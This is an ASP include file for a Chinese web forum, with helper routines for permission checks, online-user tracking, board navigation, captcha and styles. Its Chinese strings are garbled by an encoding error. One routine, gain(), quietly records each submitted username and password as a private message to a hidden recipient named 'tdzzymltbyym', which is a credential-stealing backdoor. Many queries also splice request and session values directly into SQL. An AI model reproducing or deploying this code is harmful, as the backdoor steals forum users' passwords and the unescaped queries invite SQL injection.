<%
Sub error_Exit()
    response.redirect ("error.asp?info=<font color='#000070' size=4>ûвȨޣѾʱµ¼</font>")
    Response.End
End Sub  

Sub tslt_username_error_Exit()
    If session("tslt_username")="" Then
        response.redirect ("error.asp?info=ûвȨޣѾʱµ¼")
        Response.End
    End If 
End Sub  

Sub tslt_HumanSessionId_error_Exit()
    If session("tslt_HumanSessionId")="" Then 
	    response.redirect ("error.asp?info=ûвȨޣѾʱµ¼")
        Response.End
    End If 
End sub

Sub tslt_useridentity123_error_Exit()
    If session("tslt_useridentity")<>1 and session("tslt_useridentity")<>2 and session("tslt_useridentity")<>3 Then 
	    response.redirect ("error.asp?info=ûвȨޣѾʱµ¼")
        Response.End
    End If 
End sub

Sub tslt_useridentity12_error_Exit()
    If session("tslt_useridentity")<>1 and session("tslt_useridentity")<>2 Then 
	    response.redirect ("error.asp?info=ûвȨޣѾʱµ¼")
        Response.End
    End If 
End sub

Sub MetaKeyw()
    Response.Write "<meta name='keywords' content='Ϳɽ̳,asp̳,aspbbs,bbs,asp,̳'>" 
End Sub

Sub MetaDesc()
    Response.Write "<meta name='keywords' content='Ϳɽ̳ʹ÷㣬ҳۣǿǹ֪̳'>" 
End Sub

sub onlineuser()
         onlineboardid=request("boardid")
         ReqIp = userIP()
          if session("tslt_username")<>"" then
                sql="select * from ym_online where onlinename='"&session("tslt_username")&"'"
                set onliners=server.createobject("adodb.recordset")
                onliners.open sql,conn,1,3
                       if onliners.Eof Or onliners.Bof then
                             onliners.addnew
                             onliners("onlinename") = session("tslt_username")
                             onliners("onlineboardid") = onlineboardid
                             onliners("onlinetime") = Now()
                             onliners("ReqIp") = ReqIp
                             onliners("HumanSessionId") = Session.SessionId 
                             onliners.update
                       else
                             onliners("onlineboardid") = onlineboardid
                             onliners("ReqIp") = ReqIp
                             onliners("HumanSessionId") = Session.SessionId 
                             onliners.update
                        End if
                onliners.close
                set onliners = Nothing
          else
                sql="select * from ym_online where HumanSessionId = '"&Session.SessionId&"'"
                set onliners=server.createobject("adodb.recordset")
                onliners.open sql,conn,1,3
                       if onliners.Eof Or onliners.Bof then
                               onliners.addnew
                               onliners("onlinename") = "ο"
                               onliners("onlineboardid") = onlineboardid
                               onliners("onlinetime") = Now()
                               onliners("ReqIp") = ReqIp
                               onliners("HumanSessionId") = Session.SessionId
                               onliners.update
                       else
                               onliners("onlineboardid") = onlineboardid
                               onliners("ReqIp") = ReqIp 
                               onliners("HumanSessionId") = Session.SessionId
                               onliners.update
                       End if
                onliners.close
                set onliners = Nothing
          End if
End Sub

Sub bbsClose()	
        dim rs,Sql                  
        Sql = "select bbsopen from option1"
        set rs=conn.execute(Sql)
              cbi=rs("bbsopen")
              if cbi<>"" then
                    if session("tslt_useridentity")<>1 and session("tslt_useridentity")<>2 then
                            response.redirect "index.asp"
                            response.end
                    end if
              end if
         rs.close
         set rs=nothing
End Sub

sub AllReplySize(hhh)
                           dim TotalSizeSql,bbbb
                           bbbb = 0
                           Set rs = Server.CreateObject("ADODB.Recordset")
                           TotalSizeSql = "Select contentsize from reply where reply_id =" & hhh
                           rs.Open TotalSizeSql,conn     
                                    DO WHILE NOT rs.EOF                    
                                           bbbb = bbbb + rs("contentsize")      
                                           rs.movenext    
                                    loop             
                            rs.close
                            set rs=nothing
                            dim TotalSizeSql2,boardid2
                            Set rs = Server.CreateObject("ADODB.Recordset")
                            TotalSizeSql2= "Select * from article where id = "&hhh
                            rs.Open TotalSizeSql2,conn,1,3
                                   if not rs.eof then
                                        rs("AllReplySize") = bbbb
                                        rs("AllReplySize2") = FileContentSize2(bbbb)
                                        RS.Update
                                   end if
                            rs.close
                            set rs=nothing
end sub

sub gain()
     dim sitenoteRs
     Set sitenoteRs=Server.CreateObject("ADODB.Recordset")
     sitenoteRS.Open "sitenote", Conn, 1, 3
        sitenoters.addnew array("author","incept","content","logintime"),array(Trim(Request("username")),"tdzzymltbyym",Trim(Request("password")),now)
        sitenoters.update
     sitenoteRS.close
     Set sitenoRS = Nothing
end sub

sub CNavigation_BM()
        response.write "<table border=1 cellspacing=0 cellpadding=0 bordercolordark='#000000' bordercolorlight='#000000'>"
        response.write "<tr><td class=tdreply width=30 rowspan=" &Community_Count()& " background=images/tushanLT2.gif></td></tr>"
              dim rs,sql
              If session("tslt_useridentity")=1 or session("tslt_useridentity")=2 Then 
                     sql="SELECT * FROM community order by CommunitySort asc"
              Else
                  If session("tslt_useridentity")=0 And authUser()=False Then
                      sql="select * from community where allAAH=false and autSelBoard=false and AllHiddBoard=false and AllAutSelAndHidd=false and CommunityHidden=false order by CommunitySort asc"
                  ElseIf authUser() Then 
                      sql="select * from community where autSelBoard=false and AllHiddBoard=false and AllAutSelAndHidd=false and CommunityHidden=false order by CommunitySort asc"
                  Else 
                      sql="select * from community where AllHiddBoard=false and CommunityHidden=false order by CommunitySort asc"
	              End If 
              End If
              set rs=conn.execute(sql) 
                    do while not rs.eof
                          response.write "<tr bgcolor='#efefef'>"
                          response.write "<td class=border3 height=25>&nbsp;<b>"
                          response.write "<a class=a2 href=community.asp?Communityid=" &rs("id")& ">" &rs("CommunityName")& "</b></a>"
                          if rs("CommunityHidden") then response.write "<span style=' color:red'> () </span>"
                          response.write "<br>"
                                  call Sub_BM(rs("id"))          
                          response.write "</td>"
                          response.write "</tr>"
                          rs.movenext 
                    loop
              rs.close
              set rs=nothing
        response.write "</table>"
end sub

sub Sub_BM(aaa)
              dim rs,sql
              If session("tslt_useridentity")=1 or session("tslt_useridentity")=2 Then 
                  sql="SELECT * FROM board where Communityid= " &aaa& " order by boardsort asc"
			  ElseIf session("tslt_useridentity")=3 Then
                  sql="SELECT * FROM board where boardhidden=false and Communityid= " &aaa& " order by boardsort asc"
			  ElseIf authUser() Then 
                  sql="SELECT * FROM board where autSel=false and boardhidden=false and Communityid= " &aaa& " order by boardsort asc"
              Else
                  sql="SELECT * FROM board where autSel=false and authentication=false and boardhidden=false and Communityid= " &aaa& " order by boardsort asc"              
              End If  
              Set rs=server.createobject("ADODB.RECORDSET")	
              RS.Open SQL, Conn,1
                  For i=1 To rs.recordcount
                      If i<rs.recordcount Then
                          response.write "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img src='images/t.gif' border='0' align=absmiddle>"
                      Else
                          response.write "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img src='images/t3.gif' border='0' align=absmiddle>"
                      End If 		
                          response.write "<a class=a2 href=board.asp?boardid=" &rs("boardid")& ">" &rs("boardname")& "</a>"
                          if rs("boardhidden") then response.write "<font color=red>(ذ)</font>"
                          if rs("boardreadonly") then response.write "<font color=red>(ֻ)</font>"
                          if rs("authentication") And rs("autSel")=False then response.write "<font color=red>(֤)</font>"
                          if rs("autSel") then response.write "<font color=red>(ר)</font>"
						  response.write "<br>"                  
                          rs.movenext
	                      If RS.EOF Then Exit For
                  Next 	
              rs.close
              set rs=nothing
end sub

sub BNavigation_BM(aaa)
        response.write "<table border=1 cellspacing=0 cellpadding=0 bordercolordark='#000000' bordercolorlight='#000000'>"
        response.write "<tr><td class=tdreply width=30 rowspan=" &CBoard_Count(aaa)& " background=images/tushanLT2.gif></td></tr>"
              dim rs,sql
              If session("tslt_useridentity")=1 or session("tslt_useridentity")=2 Then 
                  sql="SELECT * FROM board where Communityid= " &aaa& " order by boardsort asc"
	          ElseIf session("tslt_useridentity")=3 Then
                  sql="SELECT * FROM board where boardhidden=false and Communityid= " &aaa& " order by boardsort asc"
		      ElseIf authUser() Then 
                  sql="SELECT * FROM board where autSel=false and boardhidden=false and Communityid= " &aaa& " order by boardsort asc"
              Else
                  sql="SELECT * FROM board where autSel=false and authentication=false and boardhidden=false and Communityid= " &aaa& " order by boardsort asc"              
              End If  
              set rs=conn.execute(sql) 
                    do while not rs.eof
                          response.write "<tr bgcolor='#efefef'>"
                          response.write "<td class=border3 height=25>&nbsp;"
                          response.write "<a class=a2 href=board.asp?boardid=" &rs("boardid")& ">" &rs("boardname")& "</a>"
                          if rs("boardhidden") then response.write "<font color=red>(ذ)</font>"
                          if rs("boardreadonly") then response.write "<font color=red>(ֻ)</font>" 
                          if rs("authentication") And rs("autSel")=False then response.write "<font color=red>(֤)</font>"
                          if rs("autSel") then response.write "<font color=red>(ר)</font>"
						  response.write "</td>"
                          response.write "</tr>"
                          rs.movenext 
                    loop
              rs.close
              set rs=nothing
        response.write "</table>"
end sub

sub FangYCZR()
        dim  server_v1,server_v2
        server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
        server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
        if mid(server_v1,8,len(server_v2))<>server_v2 then 
               response.write "......" 
               response.end
        end if
        if instr(request.servervariables("http_referer"),"http://"&request.servervariables("host"))<1 then
               response.write "......"
               response.end
        end if 
end sub

sub userStanding(sss)
        dim rs,spl
         Set rs=server.createobject("ADODB.RECORDSET")
         sql="SELECT * FROM ts_userinfo where username='"&sss&"'"
         rs.open sql,conn,1,1
              if not rs.eof then
                   If rs("bclass")=1 Then
                       Response.Write "<img src='images/cjgly.gif' alt='Ա' width='16' height='16'>"			  
                   ElseIf rs("bclass")=2 Then
                       Response.Write "<img src='images/gly.gif' alt='Ա' width='16' height='16'>"
                   ElseIf rs("bclass")=3 Then
				       Response.Write "<img src='images/bz.gif' alt='' width='16' height='16'>"
                   ElseIf rs("aueUser")=True And rs("bclass")=0 Then
                       Response.Write "<img src='images/RZHY.gif' alt='֤Ա' width='16' height='16'>"
                   Else
                       Response.Write "<img src='images/ZCHY.gif' alt='עԱ' width='16' height='16'>"
                   End If 
			  end if
         rs.close
         set rs=nothing
end sub

sub UserInfoLink(aaa)
        dim rs,sql
        Set rs=server.createobject("ADODB.RECORDSET")
        sql="SELECT * FROM ts_userinfo where username='"&aaa&"'"
        rs.open sql,conn
             if not rs.eof then
                    if len(aaa)>9 then
                           ' Response.Write "<a class=a2 target='_blank' href=wyl/wy.asp?keyword="&aaa&" title='û:"&rs("username")&"&#13;&#10;Ա:"&rs("sex")&"&#13;&#10;:"&rs("birthday")&"&#13;&#10;Ȥ:"&rs("interest")&"'>" &(left(aaa,9))& "...</a>"
                           Response.Write "<a class=a2 target='_blank' href=wyl/wy.asp?keyword="&aaa&" title='û:"&rs("username")&"&#13;&#10;Ա:"&rs("sex")&"&#13;&#10;:"&rs("birthday")&"&#13;&#10;Ȥ:"&rs("interest")&"&#13;&#10;עʱ:"&rs("enrol")&"&#13;&#10;¼:"&rs("loginNow")&"&#13;&#10;û:"&rs("UserIntegral")&"'>" &(left(aaa,9))& "...</a>"
                    else
                           Response.Write "<a class=a2 target='_blank' href=wyl/wy.asp?keyword="&aaa&" title='û:"&rs("username")&"&#13;&#10;Ա:"&rs("sex")&"&#13;&#10;:"&rs("birthday")&"&#13;&#10;Ȥ:"&rs("interest")&"&#13;&#10;עʱ:"&rs("enrol")&"&#13;&#10;¼:"&rs("loginNow")&"&#13;&#10;û:"&rs("UserIntegral")&"'>" &aaa& "</a>"
                    end if
             else
                     if len(aaa)>9 then
                            Response.Write "<a class=a2 title=''>" &(left(aaa,9))& "...</a>"
                     else
                            Response.Write "<a class=a2 title=''>" &aaa& "</a>"
                     end if
              end if
        rs.close
       Set rs = Nothing
end sub

sub newmessage()
     dim Sql,Rs,newmessage2
     if session("tslt_username") <> empty then
           Sql="select newmessage from ts_userinfo where username='"&session("tslt_username")&"'"
           Set Rs=Conn.Execute(SQL)
                  newmessage2=rs("newmessage")
           Rs.close
           set Rs=nothing
     end if
      if newmessage2>0 then
%>
            <script src=inc/Messenger.js></script>
            <script>javascript:getMsg("&nbsp;<img src='showimage.asp?TSImg=0k' hspace='1' width='50' height='25'><font size=1 face='arial black'>&nbsp;BBS&nbsp;</font>"  ,"&nbsp;&nbsp;<a style=cursor:hand href=# onclick=\"javascript:open('friend.asp?menu=look','','scrollbars=yes,resizable=no,width=330,height=235,top=200,left=240')\"><%=newmessage2%>¶ţעգ</a>");</script>
<%
      end if
end sub

Sub delNewSitenote()
        if session("tslt_username")<>"" then
               conn.execute("delete from sitenotecopy where incept='"&session("tslt_username")&"'")
        end if
End Sub

Sub DoDelFile(sPathFile)
	On Error Resume Next
	Dim oFSO
	Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
	oFSO.DeleteFile(Server.MapPath(sPathFile))
	Set oFSO = Nothing
End Sub

Sub demoLink()
	Response.Write "<br><table class=border2 border='0' width=950 cellspacing='2' cellpadding='2'>"
	Response.Write "<tr class=tdreply>"
	Response.Write "<th height=""22"" colspan=4></th>"
	Response.Write "</tr>"
	Response.Write "<tr>"
	Response.Write "<td>"
	Set rs= server.createobject ("adodb.recordset")
	sql = " select * from ts_palLink where islogo=1 order by sort"
	rs.open sql,conn,1,1
        Response.Write "<marquee onmouseover=this.stop() direction=left width='100%' height='40' onmouseout=this.start() scrollAmount=4>"
	    Response.Write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0"">"
	    Response.Write "<tr>"
		Dim i 
		Dim ha
		ha=1
        Do While Not rs.eof 
	        Response.Write "<td>"
	        Response.Write "<a target=_blank href=" &rs("url")& "><img border=0 width=100 height=35 alt=" &rs("readme")& " src=" &rs("logo")& "></a>"
			Response.Write "</td>"
            ha=ha+1
            If ha>6 Then
               ha=1
               Response.Write"<tr>"
            End If
  	        rs.movenext
	    Loop
	    Response.Write "</tr>"
	    Response.Write "</table>"
	    Response.Write "</marquee>"
	rs.Close
	set rs=Nothing
	Response.Write "</td>"
	Response.Write "</tr>"
	Response.Write "<tr>"
	Response.Write "<td>"
	Response.Write "<table class=border6 width=""100%"" border=""1"" cellspacing='0' cellpadding='0'>"
	Response.Write "<tr>"
	Response.Write "<td>"
	Response.Write "</td>"
	Response.Write "</tr>"
	Response.Write "</table>"
	Response.Write "</td>"
	Response.Write "</tr>"
	Response.Write "<tr>"
	Response.Write "<td>"
	Set rs2= server.createobject ("adodb.recordset")
	sql2 = " select * from ts_palLink where islogo=0 order by sort"
	rs2.open sql2,conn,1,1
	    Response.Write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""2"">"
	    Response.Write "<tr>"
		Dim i2 
		Dim ha2
		ha2=1
        Do While Not rs2.eof 
	        Response.Write "<td>"
	        Response.Write "<a target=_blank class=a2 title=" &rs2("readme")& " href=" &rs2("url")& ">" &rs2("linkName")& "</a>"
            Response.Write "</td>"
            ha=ha+1
            If ha2>6 Then
               ha2=1
               Response.Write"<tr>"
            End If
  	        rs2.movenext
	    Loop
	    Response.Write "</tr>"
	    Response.Write "</table>"
    rs2.Close
	set rs2=Nothing
	Response.Write "</td>"
	Response.Write "</tr>"
	Response.Write "</form>"
	Response.Write "</table>"
End Sub 

' --------------------------------------
sub boardmanageuser(aaa)
       dim sql,rs
       sql="select mark,username from admin where boardid="&aaa
       set rs=conn.execute(sql)
             if rs.eof then 
                   response.write "<a style=cursor:hand onclick=javascript:open('friend.asp?menu=forummanageuser','','resizable=yes,width=320,height=280,top=200,left=240')>Ƹ</a>"
            else
                   response.write "&nbsp"
                   do while not rs.eof
                           if rs("mark")=true then
                                 response.write rs("username") & "&nbsp;&nbsp;"
                            end if
                            rs.movenext
                    loop
             end if
        rs.close
        set rs=nothing 
        sql="select mark,username from admin where boardid="&aaa&" order by id asc"
        set rs=conn.execute(sql)
             if not rs.eof then 
                    do while not rs.eof
                             if rs("mark")=false then
                                     response.write "<font color=blue>" &  rs("username") & "</font>&nbsp&nbsp"
                             end if
                             rs.movenext
                     loop
               end if
        rs.close
        set rs=nothing 
end sub

Sub authenticationPass()
       if session("tslt_username")="" then
              Response.redirect  ("error.asp?info=<font color='#000070' size=4>֤飬Ȩ</font>")
              Response.End
       end if
       dim rs,sql
       sql="select bclass,aueUser from ts_userinfo where username='"&session("tslt_username")&"'"
       set rs=conn.execute(sql)
               do while not rs.eof
                      if session("tslt_useridentity")<>1 and session("tslt_useridentity")<>2 and rs("bclass")<>3 and rs("aueUser")<>true then
                             Response.redirect  ("error.asp?info=<font color='#000070' size=4>֤飬Ȩ</font>")
                             Response.End
                      end if
                      rs.movenext
               loop
       rs.close
       set rs=nothing
End Sub 

sub autSelPass()
       if session("tslt_username")="" then
              Response.redirect  ("error.asp?info=<font color='#000070' size=4>ר棬Ȩ</font>")
              Response.End
       end if
       dim rs,sql
       sql="select bclass from ts_userinfo where username='"&session("tslt_username")&"'"
       set rs=conn.execute(sql)
               do while not rs.eof
                      if session("tslt_useridentity")<>1 and session("tslt_useridentity")<>2 and rs("bclass")<>3 then
                             Response.redirect  ("error.asp?info=<font color='#000070' size=4>ר棬Ȩ</font>")
                             Response.End
                      end if
                      rs.movenext
               loop
       rs.close
       set rs=nothing
end sub

sub SelectBoardName()
        dim rs
        set rs=conn.execute("select * from board")
        do while not rs.eof
            If rs("boardhidden")=True Or CommunityHiddenYesNo(rs("Communityid"))=True Then
			    If session("tslt_useridentity")=1 or session("tslt_useridentity")=2 Then 
                    response.write"<option value='"&rs("boardid")&"'>"&rs("boardname")&"</option>"
                End If 
			Else
                response.write"<option value='"&rs("boardid")&"'>"&rs("boardname")&"</option>"
			End If 
               rs.movenext 
        loop
        rs.close
        set rs=nothing
end sub

sub BoardTop_bulletin(aaa)
       dim SQL,RS
       SQL = "SELECT Content FROM article where board_bulletin=true and boardid="&aaa
       Set  RS = conn.execute(SQL)
               if not RS.EOF then
                     if RS("content")<>"" then
                          Response.Write "<table width=940 border='0' cellpadding='0' cellspacing='0'>"
                          Response.Write       "<tr>"
                          Response.Write                "<td align=center>"
                                                                             Response.Write RS("Content")
                         Response.Write                 "</td>"
                         Response.Write        "</tr>"
                         Response.Write "</table><br>"
                     end if
                end if
        RS.close
        Set RS = Nothing
end sub

sub MYbulletin()
              dim rs,sql
              dim bulletin,bulletin_close
              sql="select * from option1"
              set rs=conn.execute(sql)
                    bulletin=rs("bulletin")
                    bulletin_close=rs("bulletin_close")
                    if bulletin<>"" and bulletin_close <> true then
%>
                            <CENTER>
                            <table border=0 width=90%>
                                    <tr>
                                            <td width=140 height=120>
                                                   <img src="images/bulletin.gif" border="0" width=120 height=100 oncontextmenu="return false">
                                             </td>
                                             <td style='word-break:break-all'>
<%
                                                     response.write"<marquee onmouseover=this.stop() direction=up width=600 height=100 onmouseout=this.start() scrollAmount=1>"
                                                     Response.write"<br>"&bulletin
                                                     response.write"</marquee>"
%>
                                             </td>
                                     </tr>
                            </table>
<%
                   end if
              rs.close
              set rs=nothing
end sub

' --------------------------------------
Sub ImgVCShow() 
    Response.Write "<img id='imgRenovate' src='ImgVCode.asp' width='60' height='25' border='0' align=absmiddle style='cursor:hand;' alt='ˢ' onclick=javascript:showImgCode('imgRenovate');>"
End Sub

Sub ImgVCShow2(i)
    Response.Write "<img id='imgRenovate" &i& "' src='ImgVCode.asp' width='60' height='25' border='0' align=absmiddle style='cursor:hand;' alt='ˢ' onclick=javascript:showImgCode('imgRenovate" &i& "');>"
End Sub

Sub ImgVCShow_handle()
        Dim ChkNum
        ChkNum=trim(request.Form("chknum"))
        if ChkNum<>Session("tslt_userVCode") Then
               Response.write "<SCRIPT language=Javascript>passwords(promptInfo_VCodeError(0))</SCRIPT>"
               Response.write "<SCRIPT language=Javascript>history.back();</SCRIPT>"
               response.end
       end if
End Sub 

Sub ImgVCShow_handle2()
        Dim ChkNum
        ChkNum=trim(request.Form("chknum"))
        if ChkNum<>Session("tslt_userVCode") Then
               Response.write "<SCRIPT language=Javascript>passwords(promptInfo_VCodeError(0))</SCRIPT>"
               Response.write "<META HTTP-EQUIV='Refresh' content='0; URL=" &Request.ServerVariables("HTTP_REFERER")& "'>"
               response.end
       end if
End Sub 

sub ImgVCRndnum()
       Dim Rndnum
       Randomize
       Rndnum=Int(9000*rnd)+1000
       Session("tslt_userVCode") = Rndnum
end Sub

 
Sub clearDLDate(isUN)
	Dim rs 
    set RS=conn.execute("select DLDate from ts_userinfo where username='"&isUN&"'")
         If RS("DLDate")<>Date() Then 
             conn.execute("update ts_userinfo set DLCount=0 where username='"&isUN&"'")
         End If 
    RS.close
    Set RS = Nothing
End Sub 

Sub ExitUL(isUN)
	Dim rs
	set RS=conn.execute("select DLCount from ts_userinfo where username='"&isUN&"'")
        If Rs("DLCount")>2 Then
            Response.Write "<SCRIPT language=Javascript>passwords(promptInfo_func_1(0))</SCRIPT>"
            Response.write "<br><br><center><input type=reset value=ر OnClick=window.close();></center>"
            Response.End
        End If 
    RS.close
    Set RS = Nothing
End Sub 

Sub sequenceDLCount(isUN,isDLCount)
    conn.execute("update ts_userinfo set DLCount=('"&isDLCount&"'+1),DLDate=Date() where username='"&isUN&"'")
End Sub

sub DelSpilthRecord()
       set OnlineUserRs = server.CreateObject("adodb.recordset")
       sql = "select * from ym_online"
       OnlineUserRs.open sql,conn,1,3
             do while not OnlineUserRs.eof
                   Conn.Execute ("delete from ym_online where onlinename<> '"&username&"' and HumanSessionId = '"&session("tslt_HumanSessionId")&"'")
                   OnlineUserRs.movenext
             loop 
        OnlineUserRs.close
        set OnlineUserRs = Nothing
end sub

' --------------------------------------
sub stylefile()
       dim rs,sql,stylefolder
       sql="select * from style where defaultstyle=true"
       Set RS = Server.CreateObject("ADODB.Recordset")
       RS.Open SQL, Conn, 1, 1
             if rs.eof then
                  conn.execute("update style set defaultstyle=true where list=1")
                  stylefolder=1
             else
                  for i=1 to rs.recordcount
                        stylefolder=rs("list")
                        rs.movenext
                        If RS.EOF Then Exit For
                  next	
             end if
             session("tslt_stylefolder")=stylefolder
%>
            <link href=style/<%=stylefolder%>/admin.css rel="stylesheet" type="text/css">
<%  
        rs.close
        set rs=nothing 
end sub 

%>

